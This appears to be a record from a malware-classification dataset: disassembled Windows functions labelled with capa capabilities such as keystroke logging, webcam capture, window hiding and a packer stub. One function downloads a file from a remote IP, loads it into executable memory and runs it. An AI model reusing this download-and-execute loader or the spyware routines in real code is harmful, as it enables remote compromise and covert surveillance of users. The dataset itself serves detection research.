joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ca18
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x45ca2f
add esp, 0xfffffff0
call fcn.00403d1c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0041e478
mov eax, dword [0x49a418]
cmp word [eax + 2], 0
jne 0x45ca57
mov eax, dword [0x49a418]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045e0f0
mov eax, dword [0x49a4d4]
cmp word [eax + 2], 0
jne 0x45ca71
mov eax, dword [0x49a4d4]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0045e2e8
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4166dc]
call fcn.004039c8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4166dc]
call fcn.004039c8
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x420a88]
call fcn.00428cc4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x45cbf8
mov eax, dword [0x49a320]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.00429094
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x45e898
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x49a320]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040d23c
test eax, eax
je 0x45cb66
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004094c4
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040d264
test eax, eax
je 0x45cb7a
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004049d8
mov eax, dword [0x49a1c4]
cmp byte [eax], 0
jne 0x45cbae
mov eax, ebx
call fcn.0045cd20
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0045ea74
mov eax, ebx
call fcn.0045f438
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x45cbee
call fcn.00403d74
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x45cfa0
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x49bbe0]
cmp dword [eax + 0x30], 0
je 0x45d04a
cmp dword [ebx + 0x94], 0
jne 0x45d044
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x45cf30
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x45d044
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x45d00a
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x45d044
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00418a44
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x45d019
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x45dbac
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x45dbe1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404858
jmp 0x45dbee
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004047bc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x45ec50
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x45ec91
mov eax, esi
call fcn.00444f64
test al, al
je 0x45ec91
mov eax, dword [ebx + 0x84]
call fcn.00444c60
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x45ec91
push 0
mov eax, dword [ebx + 0x84]
call fcn.00444c60
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x46f430
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x46f4ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404e9c
mov eax, dword [0x49a25c]
cmp byte [eax], 0
je 0x46f49f
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.004051fc
mov eax, dword [ebx]
call fcn.00405028
push eax
mov eax, dword [ebx]
call fcn.00405018
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405028
mov edx, eax
dec edx
mov eax, ebx
call fcn.004051fc
jmp 0x46f4d1
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409674
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405008
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46f4f1
lea eax, [ebp - 0x3f0]
call fcn.00404768
ret
Function at 0x46f4f8
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00409674
add esp, 0x3ec
pop ebx
ret

Function at 0x46f6b8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
cmp dword [esi + 0xc], 0
jne 0x46f77e
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.00455290
mov ebx, eax
mov dx, word [esi + 4]
mov eax, ebp
call fcn.0046f374
mov edi, eax
test edi, edi
je 0x46f717
mov al, byte [0x46f78c]
cmp al, bl
jne 0x46f717
mov edx, edi
mov eax, ebp
call fcn.0046f2ac
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x46f77e
cmp byte [ebp + 0x161], 2
jne 0x46f742
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x49a5ac]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov edx, 0xb006
call fcn.0043f5f4
test eax, eax
jne 0x46f77e
jmp 0x46f779
mov edx, dword [0x49a4b8]
mov edx, dword [edx]
mov edx, dword [edx + 0x44]
mov eax, dword [ebp + 0x128]
cmp edx, eax
je 0x46f779
test byte [eax + 0x2f4], 8
jne 0x46f779
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x49a4b8]
mov eax, edx
mov edx, 0xb006
call fcn.0043f5f4
xor eax, eax
mov dword [esi + 0xc], eax
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4757dc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [0x49a5ac]
mov eax, dword [eax]
cmp dword [eax + 0x58], 0
jne 0x475882
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x80]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x84]
cdq
cmp edx, dword [esp + 4]
jne 0x475821
cmp eax, dword [esp]
pop edx
pop eax
jae 0x47585d
jmp 0x475825
pop edx
pop eax
jge 0x47585d
mov eax, dword [0x49a5ac]
mov eax, dword [eax]
mov dword [eax + 0x38], 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.004704a4
mov eax, dword [ebx + 0xf4]
test eax, eax
je 0x475882
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x475882
cmp dword [ebx + 0x11c], 0
je 0x475882
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.00430218
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x12c]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x47c710
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x47c7ca
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404e9c
mov eax, dword [0x49a25c]
cmp byte [eax], 0
je 0x47c77f
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.004051fc
mov eax, dword [ebx]
call fcn.00405028
push eax
mov eax, dword [ebx]
call fcn.00405018
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405028
mov edx, eax
dec edx
mov eax, ebx
call fcn.004051fc
jmp 0x47c7b1
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.00409674
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405008
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47c7d1
lea eax, [ebp - 0x3f0]
call fcn.00404768
ret

Function at 0x47f9a4
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x47f9fe
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x2c8], ecx
mov dword [esi + 0x2cc], edx
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x2bc], eax
mov eax, dword [eax + 0x44]
mov dword [esi + 0xc], eax
mov edx, dword [esi + 0x2c8]
mov eax, esi
call fcn.0047fa08
mov eax, dword [esi + 0x2c8]
mov edx, dword [eax + 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47fa05
ret

Function at 0x485e4c
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff0
mov edi, edx
mov ebx, eax
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_IsWindow
test eax, eax
jne 0x485e82
jmp 0x485f28
push 0xfffffffffffffff0
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_GetWindowLongA
mov esi, eax
mov eax, esp
push eax
push 0
push 0x419
mov eax, dword [ebx + 0x50]
push eax
call sub.user32.dll_SendMessageA
xor eax, eax
test esi, 2
jbe 0x485ec6
mov edx, dword [ebx + 0x4c]
cmp dword [edx + 0x17c], 0
je 0x485ec6
mov eax, dword [ebx + 0x4c]
mov eax, dword [eax + 0x17c]
mov eax, dword [eax + 0x14]
jmp 0x485ed6
mov edx, dword [ebx + 0x4c]
mov edx, dword [edx + 0x178]
test edx, edx
je 0x485ed6
mov eax, dword [edx + 0x14]
test eax, eax
je 0x485eef
push eax
push 2
push 5
mov edx, dword [edi + 0x10]
lea ecx, [esp + 0xc]
mov eax, ebx
call fcn.004827f0
jmp 0x485f28
mov dl, 1
mov eax, dword [0x420248]
call fcn.0042222c
mov esi, eax
mov edx, dword [edi + 0x10]
mov eax, esi
call fcn.00422be4
mov eax, dword [ebx + 0x4c]
mov edx, dword [eax + 0xbc]
mov eax, dword [esi + 0x10]
call fcn.00421ddc
mov edx, esp
mov eax, esi
call fcn.00422930
mov eax, esi
call fcn.004039f8
add esp, 0x10
pop edi
pop esi
pop ebx
ret

Function at 0x48872c
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.00444c60
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x279], 0
xor edx, edx
mov eax, ebx
call fcn.0043e360
pop ebx
ret
Function at 0x492d60
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x492ed1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x9c], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x492eb6
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00409674
mov dl, 1
mov eax, dword [0x469918]
call fcn.00469970
mov edx, dword [ebp - 4]
mov dword [edx + 0x94], eax
mov dl, 1
mov eax, dword [0x416de8]
call fcn.004039c8
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x98]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
call fcn.004699ec
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x492eb3
mov dl, 1
mov eax, dword [0x46af28]
call fcn.0046af90
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
mov edx, 0x492ee8
call fcn.0046a154
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404a74
xor eax, eax
push ebp
push 0x492eac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.0046b290
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00492ef0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492eb3
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
call fcn.004039f8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.004039f8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.004039f8
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x492ed8
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.0040478c
ret

Function at 0x494888
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
mov edx, 0x40
call fcn.0040766c
ret
Function at 0x494bac
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov ebx, eax
mov byte [ebp - 1], 0
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov eax, ebx
call fcn.00404c28
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x494c5e
xor eax, eax
push ebp
push 0x494c57
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, 2
call fcn.00494b40
push eax
xor eax, eax
call fcn.00494b40
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x494c24
mov eax, 2
call fcn.00494b40
cmp eax, dword [ebp - 0xc]
je 0x494c28
xor eax, eax
jmp 0x494c2a
mov al, 1
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
jne 0x494c40
mov eax, ebx
call fcn.00404c28
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494c5e
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x494c68
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x494da0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
lea eax, [ebp - 8]
mov edx, 0x104
call fcn.00404db4
push 0x104
lea eax, [ebp - 8]
call fcn.00404c80
push eax
push 0x494db4
call sub.kernel32.dll_GetEnvironmentVariableA
mov edx, eax
lea eax, [ebp - 8]
call fcn.00404db4
mov eax, dword [ebp - 8]
call fcn.00404a28
test eax, eax
jle 0x494d82
lea eax, [ebp - 0x4c]
xor ecx, ecx
mov edx, 0x44
call fcn.00403074
mov dword [ebp - 0x4c], 0x44
mov dword [ebp - 0x20], 1
mov word [ebp - 0x1c], 0
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x4c]
push eax
push 0
push 0
push 0x210
push 0
push 0
push 0
push dword [ebp - 8]
push 0x494dc4
push ebx
push 0x494dd4
push esi
lea eax, [ebp - 0x60]
mov edx, 5
call fcn.00404ae8
mov eax, dword [ebp - 0x60]
call fcn.00404c28
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x494d82
xor eax, eax
push ebp
push 0x494d7b
push dword fs:[eax]
mov dword fs:[eax], esp
push edi
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
setne byte [ebp - 1]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494d82
mov eax, dword [ebp - 0x5c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494da7
lea eax, [ebp - 0x60]
call fcn.00404768
lea eax, [ebp - 8]
call fcn.00404768
ret

Function at 0x494dd8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404c28
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x494df5
and eax, 0x10
cmp eax, 0x10
je 0x494df9
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret
Function at 0x4f45d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.DATA
lea edi, [esi - 0x91000]
push edi
jmp 0x4f45ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4f45f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f45e0
mov eax, 1
add ebx, ebx
jne 0x4f4603
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4f4614
jne 0x4f4633
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4633
dec eax
add ebx, ebx
jne 0x4f4620
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4f45f8
add ebx, ebx
jne 0x4f462f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4f4685
xor ecx, ecx
sub eax, 3
jb 0x4f464b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4f46ba
sar eax, 1
mov ebp, eax
jmp 0x4f4656
add ebx, ebx
jne 0x4f4656
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4624
inc ecx
add ebx, ebx
jne 0x4f4664
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4f4624
add ebx, ebx
jne 0x4f4671
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4f4666
jne 0x4f4682
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4f4666
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4f46a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4f4696
jmp 0x4f45e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4f46a4
add edi, ecx
jmp 0x4f45e6
pop esi
mov edi, esi
mov ecx, 0x2ebe
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4f46c2
cmp byte [edi], 0x1e
jne 0x4f46c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4f46c7
lea edi, [esi + 0xf1000]
mov eax, dword [edi]
or eax, eax
je 0x4f473f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xf62b0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xf63c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4f46f4
mov ecx, edi
jns 0x4f4723
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xf63cc]
or eax, eax
je 0x4f4739
mov dword [ebx], eax
add ebx, 4
jmp 0x4f4711
call dword [esi + 0xf63dc]
mov ebp, dword [esi + 0xf63d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4f4773
sub esp, 0xffffff80
jmp 0x45b9a9
Function at 0x401ade
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x18
call fcn.0040c710
mov dword [esp + 4], str.bd_logo1.png
mov dword [esp], str.http:__10.211.55.14:324_1.bin
call fcn.004016f0
mov dword [esp + 4], 0x420184
mov dword [esp], str.bd_logo1.png
call sub.msvcrt.dll_fopen
mov esi, eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], esi
call sub.msvcrt.dll_ftell
mov ebx, eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], esi
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_malloc
mov edi, eax
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_fread
mov dword [esp], str.kernel32.dll
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp + 4], str.VirtualAlloc
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebx
mov dword [esp], 0
call eax
sub esp, 0x10
mov esi, eax
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
call esi
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x40c840
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x43004c
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x430044]
sub esp, 4
test ebx, ebx
je 0x40c88b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x40c884
test esi, esi
je 0x40c884
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40c860
mov dword [esp], 0x43004c
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40ca70
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40cac0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x40cb94
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x40cafe
cmp eax, 4
jne 0x40cb20
test esi, esi
je 0x40cb12
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x40cb04
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x40cb5f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x40cb51
cmp ecx, 0x40
je 0x40cb12
cmp ecx, 4
je 0x40cb12
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040ca70
lea esi, [esi]

Function at 0x40ec10
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sub.KERNEL32.dll_SetLastError
mov eax, ebx
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret